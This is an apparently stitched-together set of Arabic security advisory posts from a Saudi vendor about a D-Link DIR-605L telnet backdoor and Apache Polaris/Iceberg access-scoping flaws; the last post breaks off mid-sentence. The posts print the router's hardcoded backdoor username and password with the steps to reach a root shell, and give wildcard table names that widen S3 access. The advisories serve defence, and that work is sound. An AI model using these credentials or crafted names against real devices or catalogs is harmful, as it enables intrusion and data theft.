◎CVE-2026-42373: ثغرة أمنية حرجة في جهاز D-Link DIR-605L
تم اكتشاف ثغرة أمنية حرجة في جهاز D-Link DIR-605L، وهي ثغرة من نوع hardcoded telnet backdoor. هذه الثغرة تسمح للمهاجمين بالوصول إلى الجهاز عن طريق بروتوكول التلنت، والذي يمكنه منحهم صلاحيات إدارية كاملة على الجهاز.
تؤثر هذه الثغرة على جهاز D-Link DIR-605L الإصدار B2، والذي تم إيقاف دعمه من قبل الشركة المصنعة. هذا يعني أن الجهاز لن يحصل على أي تحديثات أمنية مستقبلية.
تستخدم الثغرة اسم مستخدم و كلمة مرور محددة مسبقا، وهي “Alphanetworks” و “wrgn76_dlwbr_dir605L” على التوالي. يمكن للمهاجمين استخدام هذه المعلومات للوصول إلى الجهاز عن طريق بروتوكول التلنت.
نظرًا لخطورة هذه الثغرة، يوصى بتحديث الجهاز إلى إصدار أحدث أو استبداله بجهاز أكثر أمانا. كما يوصى بتعطيل بروتوكول التلنت على الجهاز إذا لم يكن مستخدما.
الأنظمة المتأثرة
تؤثر هذه الثغرة على جهاز D-Link DIR-605L الإصدار B2.
الخطوات التى يجب اتخاذها
يجب على مسؤولي الأمان في المملكة العربية السعودية اتخاذ الخطوات التالية:
تحديث الجهاز إلى إصدار أحدث إذا كان ذلك ممكنا.
استبدال الجهاز بجهاز أكثر أمانا إذا كان ذلك ممكنا.
تعطيل بروتوكول التلنت على الجهاز إذا لم يكن مستخدما.
مراقبة الجهاز لاكتشاف أي نشاط مشبوه.
السياق السعودي
تعتبر هذه الثغرة خطرة بشكل خاص للمنظمات السعودية التي تستخدم جهاز D-Link DIR-605L. يجب على مسؤولي الأمان في هذه المنظمات اتخاذ الخطوات اللازمة لحماية أنظمتهم من هذه الثغرة.
كما يوصى بمراجعة إرشادات هيئة الاتصالات وتقنية المعلومات (CITC) حول الأمان السيبراني وتطبيقها في المنظمات السعودية.
مخاطر الاستغلال
تعتبر هذه الثغرة خطرة بشكل خاص لأنها تسمح للمهاجمين بالوصول إلى الجهاز عن طريق بروتوكول التلنت. يمكن للمهاجمين استخدام هذه الثغرة لسرقة البيانات أو تنفيذ هجمات أخرى على الشبكة.
يجب على مسؤولي الأمان في المملكة العربية السعودية اتخاذ الخطوات اللازمة لحماية أنظمتهم من هذه الثغرة ومراقبة الجهاز لاكتشاف أي نشاط مشبوه.
الأسئلة الأكثر شيوعاً
ما هي الثغرة الأمنية التي تم اكتشافها في جهاز D-Link DIR-605L؟
الثغرة الأمنية هي hardcoded telnet backdoor.
كيف يمكن للمهاجمين استخدام هذه الثغرة؟
المهاجمون يمكنهم استخدام هذه الثغرة للوصول إلى الجهاز عن طريق بروتوكول التلنت.
ما هي الخطوات التي يجب اتخاذها لحماية الجهاز من هذه الثغرة؟
يجب تحديث الجهاز إلى إصدار أحدث أو استبداله بجهاز أكثر أمانا، وتعطيل بروتوكول التلنت على الجهاز إذا لم يكن مستخدما.
◎مقدمة: تهديد خطير يمس أجهزة التوجيه المنزلية والمكتبية في المملكة
كشف باحثو الأمن السيبراني عن ثغرة أمنية بالغة الخطورة تحمل المعرّف CVE-2026-42373 بدرجة CVSS تصل إلى 9.8 (حرجة)، تصيب أجهزة التوجيه من نوع D-Link DIR-605L Hardware Revision B2. تكمن خطورة هذه الثغرة في وجود باب خلفي (Backdoor) مضمّن داخل البرنامج الثابت (Firmware) للجهاز، يسمح لأي مهاجم متصل بالشبكة المحلية بالحصول على صلاحيات الجذر (Root) الكاملة دون الحاجة إلى اختراق أو تخمين كلمات المرور الخاصة بالمستخدم.
الأخطر من ذلك أن هذا الطراز قد وصل إلى مرحلة نهاية الدعم الفني (End-of-Life – EOL)، ما يعني أن الشركة المصنّعة لن تُصدر أي تحديثات أمنية لمعالجة هذه الثغرة، وهو ما يجعل ملايين الأجهزة المنتشرة حول العالم – بما فيها المملكة العربية السعودية ودول الخليج – أهدافاً سهلة للمهاجمين.
◎تفاصيل الثغرة التقنية
أوضح التحليل الفني أن البرنامج الثابت لجهاز D-Link DIR-605L B2 يحتوي على سكربت تمهيد (Boot Script) باسم /bin/telnetd.sh يقوم تلقائياً عند إقلاع الجهاز بتشغيل خدمة telnet daemon بصلاحيات مرتفعة. وتقوم هذه الخدمة بقراءة بيانات الاعتماد من ملف ثابت داخل نظام الملفات:
اسم المستخدم:Alphanetworks
كلمة المرور الثابتة:wrgn76_dlwbr_dir605L
مسار ملف بيانات الاعتماد:/etc/alpha_config/image_sign
يستخدم الجهاز نسخة مخصّصة من ثنائي telnetd يقبل معامل -u user:password، بينما تستخدم النسخة المخصّصة من ثنائي login دالة strcmp() للتحقق من صحة بيانات الدخول. وبمجرد نجاح المصادقة، يحصل المهاجم على غلاف جذر (Root Shell) بصلاحيات إدارية كاملة على الجهاز.
◎تصنيف الثغرة ضمن معايير CWE
تندرج هذه الثغرة تحت التصنيف CWE-798: Use of Hard-coded Credentials (استخدام بيانات اعتماد مضمّنة بشكل ثابت)، وهو من أخطر التصنيفات الأمنية لأنه:
لا يمكن للمستخدم النهائي تغيير هذه البيانات أو إزالتها.
يمكن استخراجها بسهولة من صورة البرنامج الثابت باستخدام أدوات الهندسة العكسية.
تكون هذه البيانات عادةً متطابقة على جميع الأجهزة من نفس الطراز، ما يعني أن اكتشاف كلمة مرور واحدة يكشف ملايين الأجهزة.
◎الأنظمة المتأثرة
تشمل الأجهزة المعرّضة للخطر ما يلي:
D-Link DIR-605L Hardware Revision B2 – جميع إصدارات البرنامج الثابت.
الجهاز وصل إلى مرحلة نهاية الدعم (EOL) ولن يتلقى أي تحديثات أمنية مستقبلية من الشركة المصنّعة.
تجدر الإشارة إلى أن هذا الطراز كان من الأكثر انتشاراً في الأسواق العربية خلال السنوات الماضية، وقد يكون لا يزال مستخدماً في المنازل، المكاتب الصغيرة والمتوسطة، وبعض الفروع البعيدة للشركات والمؤسسات في المملكة ودول الخليج.
◎سيناريو الاستغلال وخطورته
يستطيع المهاجم استغلال هذه الثغرة عبر الخطوات التالية:
الاتصال بالشبكة المحلية التي يتواجد فيها الجهاز (سواء عبر Wi-Fi أو شبكة سلكية).
إجراء مسح للشبكة لتحديد عنوان IP الخاص بالراوتر والمنافذ المفتوحة (خاصةً منفذ 23 – Telnet).
الاتصال بخدمة Telnet باستخدام بيانات الاعتماد المضمّنة.
الحصول فوراً على صلاحيات Root كاملة.
الآثار المحتملة لنجاح الاستغلال تشمل:
اعتراض وتعديل حركة مرور الشبكة بالكامل (Man-in-the-Middle).
سرقة بيانات الاعتماد الخاصة بالبنوك، البريد الإلكتروني، وحسابات العمل.
تحويل الراوتر إلى عقدة ضمن شبكة Botnet لتنفيذ هجمات DDoS.
استخدام الجهاز كنقطة انطلاق لاختراق أجهزة أخرى داخل الشبكة الداخلية.
تعديل إعدادات DNS لتوجيه المستخدمين إلى مواقع تصيّد احتيالي.
زرع برمجيات خبيثة دائمة في البرنامج الثابت يصعب اكتشافها وإزالتها.
◎السياق المحلي: لماذا يجب على مسؤولي الأنظمة في المملكة الاهتمام؟
تولي هيئة الاتصالات والفضاء والتقنية (CST) – المعروفة سابقاً بهيئة الاتصالات وتقنية المعلومات (CITC) – اهتماماً كبيراً بأمن الأجهزة المتصلة بالشبكات في المملكة، في ظل رؤية 2030 والتحول الرقمي الشامل. كما تُصدر الهيئة الوطنية للأمن السيبراني (NCA) باستمرار توجيهات وضوابط تلزم الجهات الحكومية والقطاعات الحيوية بتطبيق أفضل الممارسات الأمنية.
إن استخدام أجهزة منتهية الدعم الفني مثل D-Link DIR-605L B2 يُعدّ مخالفة صريحة لعدة ضوابط من الضوابط الأساسية للأمن السيبراني (ECC) الصادرة عن NCA، خاصةً ما يتعلق بـ:
ضابط إدارة الأصول التقنية (ECC-2-1).
ضابط إدارة الثغرات (ECC-2-10).
ضابط حماية الشبكات (ECC-2-5).
كما أن شركات الاستضافة السعودية والمزودين المحليين لخدمات الإنترنت يجب أن يحذّروا عملاءهم من استخدام هذه الأجهزة، خاصةً في البيئات التي تتعامل مع بيانات حساسة أو مدفوعات إلكترونية.
◎خطوات عملية لمسؤولي الأنظمة في المملكة ودول الخليج
1. الاستبدال الفوري للأجهزة المتأثرة
الحل الوحيد الجذري لهذه الثغرة هو استبدال الجهاز بالكامل بطراز حديث يتلقى تحديثات أمنية منتظمة. يُنصح باختيار أجهزة من شركات موثوقة تدعم معايير الأمان الحديثة مثل WPA3 وتلتزم بتحديثات البرنامج الثابت لسنوات عديدة.
عزل الجهاز في شبكة VLAN منفصلة بعيداً عن الأنظمة الحساسة.
تعطيل منفذ Telnet (23) عبر جدار الحماية الخارجي إن أمكن.
تفعيل فلترة عناوين MAC للحدّ من الأجهزة التي يمكنها الاتصال بالشبكة.
مراقبة سجلات حركة المرور الصادرة والواردة للكشف عن أي نشاط غير طبيعي.
تعطيل الإدارة عن بُعد عبر الواجهة الخارجية (WAN).
3. مسح الشبكة لاكتشاف الأجهزة المتأثرة
يمكن استخدام أدوات مثل nmap لمسح الشبكة الداخلية والبحث عن منفذ Telnet المفتوح:
nmap -p 23 --open 192.168.1.0/24
كما يمكن استخدام أدوات إدارة الأصول مثل Lansweeper أو Rumble لتحديد جميع الأجهزة من نوع DIR-605L في البيئة المؤسسية.
4. تطبيق مبدأ الثقة الصفرية (Zero Trust)
يُوصى بعدم الوثوق في أي جهاز متصل بالشبكة الداخلية، وتطبيق سياسات تقسيم دقيقة للشبكة (Microsegmentation)، بحيث لا يستطيع جهاز مخترق الوصول إلى موارد حساسة.
5. تعزيز المراقبة الأمنية
يجب تفعيل حلول رصد الشبكة مثل IDS/IPS وربطها بنظام SIEM مركزي، والبحث تحديداً عن:
محاولات اتصال Telnet داخل الشبكة.
استخدام اسم المستخدم Alphanetworks.
تغييرات غير معتادة في إعدادات DNS لأجهزة المستخدمين.
◎دور 4jawaly في دعم الأمن السيبراني للمؤسسات السعودية
في ظل تزايد التهديدات السيبرانية، تحرص شركة فورجوالي (4jawaly) – المرخّصة من هيئة الاتصالات والفضاء والتقنية (CST) برقم 291-10-32 والحاصلة على شهادة ISO 27001 – على تقديم خدمات اتصالات وحلول استضافة تلتزم بأعلى معايير الأمان. تشمل خدماتنا:
خدمات الرسائل النصية القصيرة (SMS) الآمنة لتنبيه المستخدمين عن أي نشاط مشبوه.
واجهات WhatsApp Business API للتواصل الآمن مع العملاء.
حلول استضافة ويب محلية داخل مراكز بيانات سعودية موثوقة.
روبوتات محادثة ذكية (AI Chatbots) لتعزيز خدمة العملاء.
◎التوصيات النهائية
نظراً لخطورة ثغرة CVE-2026-42373 ودرجة CVSS العالية (9.8)، ولأن الجهاز المتأثر وصل إلى نهاية دعمه الفني، فإن التوصية القاطعة هي:
التوقف فوراً عن استخدام جهاز D-Link DIR-605L B2 في أي بيئة إنتاجية أو حساسة.
استبداله بطراز حديث مدعوم رسمياً.
مراجعة جميع أجهزة الشبكة ضمن دورة حياة منتظمة للتأكد من عدم استخدام أجهزة منتهية الدعم.
تطبيق سياسة واضحة لإدارة دورة حياة الأصول التقنية ضمن منظومة الحوكمة الأمنية.
◎الخاتمة
تُمثّل ثغرة CVE-2026-42373 مثالاً صارخاً على مخاطر الأبواب الخلفية المضمّنة في أجهزة الشبكات، وعلى خطورة الاستمرار في استخدام أجهزة منتهية الدعم. نحثّ جميع مسؤولي تقنية المعلومات ومديري الاستضافة في المملكة العربية السعودية ودول الخليج على التحرك السريع لتقييم بيئاتهم واستبدال الأجهزة المتأثرة قبل أن تُستغل هذه الثغرة على نطاق واسع.
الأسئلة الأكثر شيوعاً
ما مدى خطورة ثغرة CVE-2026-42373؟
الثغرة مصنّفة حرجة بدرجة CVSS 9.8 من 10، وتسمح لأي مهاجم على الشبكة المحلية بالحصول على صلاحيات Root كاملة على الجهاز دون الحاجة إلى أي مصادقة فعلية.
هل ستُصدر D-Link تحديثاً لإصلاح الثغرة؟
لا. جهاز DIR-605L Hardware Revision B2 وصل إلى نهاية الدعم الفني (EOL)، ولن تُصدر الشركة أي تحديثات أمنية. الحل الوحيد هو استبدال الجهاز.
كيف يمكنني معرفة ما إذا كانت شبكتي تستخدم هذا الجهاز؟
يمكن استخدام أدوات مسح الشبكة مثل nmap للبحث عن منفذ Telnet المفتوح (23)، أو مراجعة ملصق الجهاز للتأكد من الطراز والإصدار (Hardware Revision B2).
هل يكفي تغيير كلمة مرور الراوتر لحل المشكلة؟
لا. كلمة المرور مضمّنة بشكل ثابت في البرنامج الثابت ولا يمكن تغييرها من واجهة المستخدم. الحل الوحيد هو استبدال الجهاز.
ما علاقة هذه الثغرة بضوابط الهيئة الوطنية للأمن السيبراني؟
استخدام أجهزة منتهية الدعم يخالف ضوابط ECC المتعلقة بإدارة الأصول التقنية وإدارة الثغرات وحماية الشبكات، وقد يعرّض المؤسسة للمساءلة التنظيمية.
تم اكتشاف ثغرة أمنية حرجة في Apache Iceberg، وهي مكتبة تستخدم لقراءة وكتابة البيانات في أنظمة تخزين البيانات الضخمة. هذه الثغرة، المعروفة باسم CVE-2026-42812، يمكن أن تسمح للمهاجمين بكتابة ملفات بيانات إلى مواقع تخزين غير مصرح بها، مما قد يؤدي إلى تسرب البيانات أو تلفها.
◎تفاصيل الثغرة
تحدث الثغرة بسبب خاصية `write.metadata.path` التي تسمح للمستخدمين بتحديد موقع ملفات البيانات. عندما يتم تغيير هذه الخاصية من خلال تعديل إعدادات الجدول، يتم تجاوز التحقق من صحة موقع التخزين، مما يسمح للمهاجمين بكتابة ملفات البيانات إلى مواقع غير مصرح بها.
◎الأنظمة المتأثرة
تأثر جميع الإصدارات الحالية من Apache Iceberg بهذه الثغرة. يُشجع المستخدمون على التحديث إلى الإصدار الأخير من المكتبة لتجنب هذه الثغرة.
◎خطوات التصحيح
للمسؤولين في السعودية، يُشجع على اتباع الخطوات التالية لتصحيح هذه الثغرة:
تحديث Apache Iceberg إلى الإصدار الأخير.
تأكيد أن خاصية `polaris.config.allow.unstructured.table.location` معطلة.
تأكيد أن قائمة المواقع المسموح بها (`allowedLocations`) محددة بشكل صحيح.
◎سياق السعودية
هذه الثغرة تثير قلقًا خاصًا في السعودية، حيث أن العديد من الشركات والمؤسسات تستخدم Apache Iceberg في أنظمتها. يُشجع المسؤولون على اتخاذ إجراءات فورية لتصحيح هذه الثغرة وتجنب أي مخاطر أمنية.
◎مخاطر الاستغلال
تُعتبر هذه الثغرة حرجة، ويمكن أن تؤدي إلى تسرب البيانات أو تلفها. يُشجع المستخدمون على اتخاذ إجراءات فورية لتصحيح هذه الثغرة وتجنب أي مخاطر أمنية.
الأسئلة الأكثر شيوعاً
ما هي الثغرة الأمنية في Apache Iceberg؟
ثغرة أمنية حرجة يمكن أن تسمح للمهاجمين بكتابة ملفات بيانات إلى مواقع تخزين غير مصرح بها.
كيف يمكن تصحيح هذه الثغرة؟
يمكن تصحيح هذه الثغرة عن طريق تحديث Apache Iceberg إلى الإصدار الأخير وتأكيد أن خاصية `polaris.config.allow.unstructured.table.location` معطلة.
ما هي المخاطر الناجمة عن هذه الثغرة؟
تُعتبر هذه الثغرة حرجة، ويمكن أن تؤدي إلى تسرب البيانات أو تلفها.
◎CVE-2026-42811: ثغرة أمنية حرجة في Apache Polaris
تم اكتشاف ثغرة أمنية حرجة في Apache Polaris، وهي أداة تستخدم لتحديد نطاق بيانات التخزين في Google Cloud Storage. الثغرة، المعروفة باسم CVE-2026-42811، تتيح للمهاجمين الحصول على أذونات وصول موسعة إلى البيانات المخزنة في سلة Google Cloud Storage.
تحدث الثغرة بسبب طريقة بناء شروط وصول الأذونات في Apache Polaris. عندما يتم إنشاء أذونات وصول مؤقتة، يتم بناء شروط وصول الأذونات باستخدام تعبيرات CEL (Common Expression Language). ومع ذلك، يتم إدراج مسار الجدول في التعبير CEL دون حماية، مما يسمح للمهاجمين بخرق الحماية وزيادة نطاق الوصول.
يمكن للمهاجمين استخدام هذه الثغرة للوصول إلى بيانات أخرى في سلة Google Cloud Storage، بما في ذلك قراءة وكتابة بيانات الجداول الأخرى. بالإضافة إلى ذلك، يمكنهم إنشاء وحذف كائنات في مسار الجدول الآخر.
الأنظمة المتأثرة
تأثر الثغرة الإصدارات التالية من Apache Polaris:
Apache Polaris 1.4.0
الإجراءات الموصى بها
نوصي مسؤولي الاستضافة في السعودية باتخاذ الإجراءات التالية:
تحديث Apache Polaris إلى الإصدار الأخير
مراجعة أذونات الوصول إلى سلة Google Cloud Storage
تطبيق سياسات أمان صارمة لمنع الوصول غير المصرح به إلى البيانات
السياق السعودي
تعتبر الثغرة الأمنية في Apache Polaris تهديداً كبيراً لأمان البيانات في السعودية. نظراً لاستخدام العديد من الشركات السعودية لخدمات Google Cloud Storage، فإن الثغرة يمكن أن تؤثر على أمان البيانات الحساسة.
نوصي مسؤولي الاستضافة في السعودية بالعمل مع هيئة الاتصالات وتقنية المعلومات (CITC) لضمان تطبيق سياسات أمان صارمة ومراجعة أذونات الوصول إلى البيانات.
مخاطر الاستغلال
تعتبر الثغرة الأمنية في Apache Polaris خطراً كبيراً لأمان البيانات. يمكن للمهاجمين استخدام الثغرة لسرقة البيانات الحساسة أو تدميرها.
نوصي مسؤولي الاستضافة في السعودية بالعمل بسرعة لتحديث Apache Polaris وتطبيق سياسات أمان صارمة لمنع الاستغلال.
الأسئلة الأكثر شيوعاً
ما هي الثغرة الأمنية في Apache Polaris؟
الثغرة الأمنية في Apache Polaris هي ثغرة تتيح للمهاجمين الحصول على أذونات وصول موسعة إلى البيانات المخزنة في سلة Google Cloud Storage.
كيف يمكنني حماية بياناتي من الثغرة الأمنية في Apache Polaris؟
يمكنك حماية بياناتك من الثغرة الأمنية في Apache Polaris عن طريق تحديث Apache Polaris إلى الإصدار الأخير ومراجعة أذونات الوصول إلى سلة Google Cloud Storage.
ما هي مخاطر الاستغلال للثغرة الأمنية في Apache Polaris؟
مخاطر الاستغلال للثغرة الأمنية في Apache Polaris هي سرقة البيانات الحساسة أو تدميرها.
كشفت مؤسسة Apache Software Foundation عن ثغرة أمنية حرجة في منصة Apache Polaris، وهي كتالوج بيانات مفتوح المصدر يُستخدم على نطاق واسع مع تنسيق جداول Apache Iceberg لإدارة بحيرات البيانات (Data Lakes) في البيئات السحابية. حملت الثغرة المعرّف CVE-2026-42810 وحصلت على درجة خطورة مرتفعة للغاية تبلغ 9.9 من 10 وفقًا لمعيار CVSS v3.1، ما يضعها في الفئة الحرجة.
تنبع الثغرة من قبول Apache Polaris للحرف الخاص (النجمة) داخل أسماء مساحات الأسماء (Namespaces) وأسماء الجداول (Tables) دون تهريب (Escaping)، ثم إعادة استخدام هذه الأحرف في بناء سياسات IAM المؤقتة الخاصة بخدمة Amazon S3 عند منح صلاحيات الوصول المفوّض (Delegated Access). وبما أن خدمة S3 IAM تعامل الرمز باعتباره بطاقة عمومية (Wildcard) وليس نصًا عاديًا، فإن بيانات الاعتماد المؤقتة الممنوحة لجدول مصمم بعناية يمكن أن تطابق مسارات تخزين جداول أخرى تمامًا.
◎تفاصيل تقنية دقيقة
تصنف الثغرة تحت CWE-20: Improper Input Validation (التحقق غير السليم من المدخلات). السيناريو الهجومي يتم على النحو التالي:
يقوم المهاجم بإنشاء جدول بأسماء تحتوي على أحرف بدل مثل f*.t1 أو . أو foo..
يطلب المهاجم بيانات اعتماد S3 مؤقتة عبر مسار التفويض الخاص بـ Polaris.
يبني Polaris سياسة IAM مؤقتة تحتوي على أنماط موارد S3 وشروط s3:prefix تتضمن أحرف غير مهربة.
نتيجة لذلك، تُقرأ هذه الأحرف كبطاقات عمومية، فتتمكن بيانات الاعتماد من الوصول إلى مسارات جداول أخرى لا يملك المهاجم أي صلاحيات عليها.
تم تأكيد السلوك الخطير التالي في بيئات اختبار خاصة على الإصدار Polaris 1.4.0، سواء مع MinIO أو AWS S3 الحقيقية:
قراءة ملف التحكم metadata.json الخاص بجدول Iceberg آخر، وهو ملف يحدد البيانات والسجلات الفعلية للجدول.
سرد محتويات المسار الدقيق لجدول ضحية عبر عملية List على S3.
إنشاء وحذف كائنات داخل مسار جدول الضحية عند منح صلاحيات الكتابة المفوّضة، ما يفتح الباب أمام هجمات إفساد البيانات (Data Corruption) أو الحذف الخبيث.
◎خطورة السيناريو ذي الامتيازات الأدنى
أخطر ما في هذه الثغرة هو تأكيد متغير هجومي يعتمد على مبدأ أقل الامتيازات (Least Privilege)؛ إذ يستطيع مهاجم لا يملك أي صلاحيات Polaris على جدول الضحية (foo.t1) — وإنما فقط الصلاحيات الدنيا TABLE_CREATE وTABLE_WRITE_DATA على مستوى مساحة الأسماء — أن ينفذ ما يلي:
إنشاء جدول احتيالي بالاسم ..
استلام بيانات اعتماد S3 المفوّضة.
استخدام هذه البيانات لسرد وقراءة وإنشاء وحذف الكائنات داخل مسار foo.t1 مباشرة.
هذا يعني أن نموذج التحكم بالوصول في Polaris يتم تجاوزه بشكل كامل عبر خدمة S3 ذاتها، حتى لو كانت قواعد Polaris الداخلية ترفض الوصول المباشر.
◎الأنظمة والإصدارات المتأثرة
Apache Polaris الإصدار 1.4.0 (مؤكد).
الإصدارات الأقدم التي تستخدم نفس آلية بناء سياسات IAM المؤقتة لـ S3.
جميع عمليات النشر التي تعتمد على AWS S3 أو MinIO أو أي تخزين كائنات متوافق مع S3 يدعم نمط IAM Wildcards.
البيئات التي تستخدم Polaris كطبقة كتالوج لجداول Apache Iceberg.
◎الأثر على مزودي الاستضافة ومراكز البيانات في المملكة
مع التوسع الكبير في تبني بحيرات البيانات (Data Lakehouse) في المملكة العربية السعودية ضمن مبادرات رؤية المملكة 2030 والتحول الرقمي للجهات الحكومية والقطاع المالي، أصبحت منصات مثل Apache Polaris وApache Iceberg مكونًا أساسيًا في البنية التحتية لكثير من الشركات. هذه الثغرة تمثل تهديدًا مباشرًا لـ:
مراكز البيانات المحلية المرخصة من هيئة الاتصالات والفضاء والتقنية (CST) سابقًا CITC.
مزودي الخدمات السحابية المحلية مثل STC Cloud وMobily Business وSahara Net.
الجهات المالية الخاضعة لإشراف البنك المركزي السعودي (SAMA)، وإطار SAMA Cyber Security Framework.
الجهات الحكومية الملتزمة بـالضوابط الأساسية للأمن السيبراني (ECC) الصادرة عن الهيئة الوطنية للأمن السيبراني (NCA).
المؤسسات التي تعالج بيانات شخصية خاضعة لـنظام حماية البيانات الشخصية (PDPL).
أي تسرب أو عبث ببيانات الجداول قد يمثل حادثة أمن سيبراني يستوجب التبليغ عنها وفقًا لإلزامات NCA وSAMA، وقد يعرض الشركة لغرامات بموجب PDPL تصل إلى ملايين الريالات.
◎مؤشرات الاختراق المحتملة (IoCs)
وجود جداول أو مساحات أسماء تحتوي على الحرف في كتالوج Polaris.
طلبات GetSubscopedCredentials لجداول غير معتادة الأسماء.
سجلات AWS CloudTrail تُظهر عمليات ListObjectsV2, GetObject, PutObject, DeleteObject من Session Tokens مؤقتة على مسارات لا تتطابق مع الجدول الأصلي.
تعديلات غير مبررة على ملفات metadata.json أو اختفاء لقطات Iceberg (Snapshots).
◎خطوات الاستجابة الموصى بها لمدراء الأنظمة
1. الإجراءات الفورية (خلال 24 ساعة)
تطبيق التصحيحات الأمنية الصادرة عن Apache Polaris فور توفرها ومراجعة القائمة البريدية الرسمية.
تدقيق كتالوج Polaris للبحث عن أي أسماء جداول أو مساحات أسماء تحتوي على * أو أحرف خاصة.
تعطيل مسار التفويض الخاص بصلاحيات S3 المؤقتة مؤقتًا إذا لم يكن مستخدمًا بشكل حرج.
2. التحقق من السياسات (خلال 72 ساعة)
مراجعة قوالب سياسات IAM المستخدمة في Polaris والتأكد من أن أي إدخال يمر عبر آلية تهريب صارمة.
تفعيل S3 Access Logs وCloudTrail Data Events على جميع حاويات S3 المرتبطة بجداول Iceberg.
تطبيق سياسات Bucket Policy وSCP تمنع الوصول عبر Session Tokens إلى مسارات خارج النطاق الأصلي.
3. تعزيزات طويلة الأمد
فرض قائمة بيضاء (Whitelist) لأحرف أسماء الجداول تسمح فقط بالأحرف الأبجدية الرقمية والشرطة السفلية.
فصل حاويات S3 لكل مستأجر (Tenant) أو مساحة أسماء حساسة.
تطبيق تشفير مفاتيح مختلفة (KMS CMK) لكل جدول حساس لمنع الوصول العابر حتى لو تم تجاوز السياسات.
دمج المراقبة مع SIEM ومراكز العمليات الأمنية SOC، ورفع التنبيهات للجنة الأمن السيبراني وفق متطلبات NCA.
◎دور 4jawaly في دعم المؤسسات السعودية
باعتبارها شركة سعودية مرخصة من هيئة الاتصالات والفضاء والتقنية (ترخيص 291-10-32) وحاصلة على شهادة ISO 27001، تقدم فورجوالي (4jawaly) حلولاً متكاملة تساعد الجهات في مواجهة مثل هذه الحوادث، منها:
خدمات الإشعارات الفورية عبر SMS لتنبيه فرق الأمن عند اكتشاف نشاط مشبوه في بيئات S3 وIceberg.
تكامل WhatsApp Business API لإرسال تقارير الحوادث إلى مسؤولي تقنية المعلومات في الوقت الحقيقي.
روبوتات الدردشة الذكية لدعم فرق الاستجابة للحوادث وتوفير إرشادات فورية.
خدمات الاستضافة الآمنة في مراكز بيانات داخل المملكة متوافقة مع متطلبات توطين البيانات.
◎خاتمة
تعد ثغرة CVE-2026-42810 تذكيرًا حادًا بأن التحقق من المدخلات ليس مجرد ممارسة جيدة، بل خط دفاع أول حاسم. مع دمج Polaris المتزايد في البنى التحتية للبيانات في المملكة، يجب على كل مدير نظام وفريق DevSecOps معاملة هذه الثغرة كأولوية قصوى، وتطبيق التصحيحات فور صدورها، ومراجعة نماذج التفويض المفوّض لـ S3 بشكل شامل. التكلفة المحتملة للتجاهل قد تتجاوز بكثير تكلفة التصحيح، خاصة في ظل التشريعات الصارمة مثل PDPL وECC.
الأسئلة الأكثر شيوعاً
ما هي ثغرة CVE-2026-42810 بشكل مبسط؟
هي ثغرة حرجة في Apache Polaris تسمح للمهاجم بإنشاء جداول بأسماء تحتوي على حرف النجمة (*)، ما يؤدي إلى منحه بيانات اعتماد S3 مؤقتة تصل إلى بيانات جداول أخرى لا يملك صلاحيات عليها.
هل إصدار Apache Polaris الذي نستخدمه متأثر؟
تم تأكيد التأثير على الإصدار 1.4.0 والإصدارات الأقدم التي تستخدم نفس آلية بناء سياسات IAM المؤقتة. يجب مراجعة الإعلان الرسمي من Apache والتحديث للإصدار المصحح فور صدوره.
ما الإجراء الأعجل الذي يجب اتخاذه الآن؟
تدقيق كتالوج Polaris فورًا للبحث عن أي أسماء جداول أو مساحات أسماء تحتوي على حرف (*)، وتعطيل مسار التفويض المؤقت لـ S3 مؤقتًا، وتفعيل CloudTrail وS3 Access Logs لرصد أي نشاط مشبوه.
كيف تؤثر هذه الثغرة على الامتثال لأنظمة NCA وSAMA وPDPL؟
أي تسرب لبيانات الجداول يعد حادثة أمن سيبراني يستوجب التبليغ عنها وفق إطار NCA ECC وSAMA CSF، وقد يعرض المؤسسة لغرامات PDPL إذا شملت البيانات معلومات شخصية.
هل يكفي تطبيق التصحيح أم أحتاج إجراءات إضافية؟
التصحيح ضروري لكنه غير كافٍ. يجب فرض قائمة بيضاء لأحرف أسماء الجداول، وفصل حاويات S3 لكل مستأجر، واستخدام مفاتيح KMS منفصلة لكل جدول حساس، ودمج المراقبة مع منظومة SIEM.
◎مقدمة: ثغرة حرجة تهدد بيئات Data Lakehouse في المملكة
أعلنت مؤسسة Apache Software Foundation عن ثغرة أمنية حرجة تحمل المعرّف CVE-2026-42809 بدرجة خطورة 9.9 على مقياس CVSS 3.1، تمس منتج Apache Polaris، وهو كتالوج مفتوح المصدر يُستخدم لإدارة جداول Apache Iceberg في بيئات تحليل البيانات الحديثة (Data Lakehouse). تُصنَّف الثغرة ضمن فئة CWE-20 (Improper Input Validation)، وتسمح للمهاجم بالحصول على بيانات اعتماد تخزين مؤقتة (Vended Credentials) ذات نطاق وصول موسّع إلى مواقع تخزين يختارها بنفسه، قبل إجراء عمليات التحقق من صحة الموقع أو التحقق من التداخل مع مواقع جداول أخرى.
تكتسب هذه الثغرة أهمية استثنائية في السوق السعودي، حيث تتوسع بنوك ومؤسسات حكومية وشركات اتصالات في استخدام منصات Lakehouse المعتمدة على Iceberg وPolaris، سواء في مراكز البيانات المحلية المرخصة من هيئة الاتصالات والفضاء والتقنية (CST، المعروفة سابقاً بـ CITC)، أو على بنى تحتية سحابية مستضافة داخل حدود المملكة وفقاً لمتطلبات الهيئة الوطنية للأمن السيبراني (NCA) الخاصة بتوطين البيانات.
◎ما هو Apache Polaris ولماذا تهم هذه الثغرة؟
Apache Polaris هو كتالوج REST مفتوح المصدر لإدارة جداول Iceberg، يُوفّر طبقة تحكم مركزية في الوصول إلى بيانات Lakehouse المخزنة في خدمات تخزين كائنية مثل Amazon S3 أو Azure Data Lake Storage أو Google Cloud Storage، بالإضافة إلى خدمات التخزين المتوافقة مع S3 التي يقدمها مزودو الاستضافة السعوديون.
تعتمد فلسفة Polaris على آلية تُعرف باسم Credential Vending، حيث يقوم الكتالوج بإصدار بيانات اعتماد مؤقتة ومحدودة النطاق للعميل عند كل طلب قراءة أو كتابة، بدلاً من منح العميل صلاحيات دائمة واسعة على خدمة التخزين. نظرياً، يُفترض أن تكون هذه البيانات محصورة بمسار الجدول المحدد فقط، مما يُحقق مبدأ الحد الأدنى من الامتيازات.
◎التفاصيل التقنية للثغرة CVE-2026-42809
تكمن الثغرة في مسار إنشاء الجداول المرحلية (Staged Table Creation) في Apache Polaris. عند إنشاء جدول جديد عبر هذا المسار، يسمح Polaris للمتصل (Caller) بتحديد موقع تخزين مخصص (custom location) ضمن طلب الإنشاء، وطلب إصدار بيانات اعتماد مؤقتة في الوقت ذاته.
المشكلة الأساسية
يقوم Polaris بإصدار بيانات الاعتماد المفوضة (Delegated Credentials) اعتماداً على الموقع المُقدَّم من المتصل مباشرة، دون:
